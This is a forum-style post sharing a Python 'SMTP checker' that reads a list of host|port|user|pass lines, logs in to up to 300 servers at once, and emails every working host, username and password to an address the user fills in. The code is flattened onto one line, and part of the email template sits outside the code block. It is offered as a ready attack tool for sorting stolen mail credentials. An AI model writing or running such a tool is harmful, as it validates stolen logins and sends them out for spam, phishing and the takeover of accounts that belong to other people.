May 26, 2022 at 8:29 AM
SMTP SAVE IN TEXT FILE :- server.com|25|user|pass[code]import osimport smtplibimport concurrent.futuresfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextimport sysimport timeclass bcolors: OK = '\033[92m' # GREEN WARNING = '\033[93m' # YELLOW FAIL = '\033[91m' # RED RESET = '\033[0m' # RESET COLOR banner = """ ───────────────▄▄───▐█ ───▄▄▄───▄██▄──█▀───█─▄ ─▄██▀█▌─██▄▄──▐█▀▄─▐█▀ ▐█▀▀▌───▄▀▌─▌─█─▌──▌─▌ ▌▀▄─▐──▀▄─▐▄─▐▄▐▄─▐▄─▐▄ """VALIDS = 0INVALIDS = 0toaddr = "YOUR EMAIL HERE"def check(smtp): HOST, PORT, usr, pas = smtp.strip().split('|') global VALIDS, INVALIDS try: server = smtplib.SMTP(HOST, PORT) server.ehlo() server.starttls() server.login(usr, pas) msg = MIMEMultipart() msg['Subject'] = "CHECKER RESULT : v1" msg['From'] = usr msg['To'] = toaddr msg.add_header('Content-Type', 'text/html') data = """ New Smtp """ msg.attach(MIMEText(data, 'html', 'utf-8')) server.sendmail(usr, [msg['To']], msg.as_string()) print(bcolors.OK + 'SMTP WORK {} '.format(HOST) + bcolors.RESET) open('validsmtp.txt', 'a').write(smtp + "") VALIDS += 1 os.system("title " + "[+] VALIDS : {} , INVALIDS : {} .".format(VALIDS, INVALIDS)) except: INVALIDS += 1 print(bcolors.FAIL + 'SMTP NOT WORK {} '.format(smtp) + bcolors.RESET)for letter in str(bcolors.banner): sys.stdout.write(letter) time.sleep(.01)if __name__ == '__main__': sites = open(input(bcolors.OK + 'Enter Smtps List :' + bcolors.RESET), 'r').read().splitlines() try: with concurrent.futures.ThreadPoolExecutor(300) as executor: executor.map(check, sites) except Exception as e: print(e)[/code]
HOST : """ + HOST + """
PORT : """ + PORT + """
USER : """ + usr + """
PASS : """ + pas + """
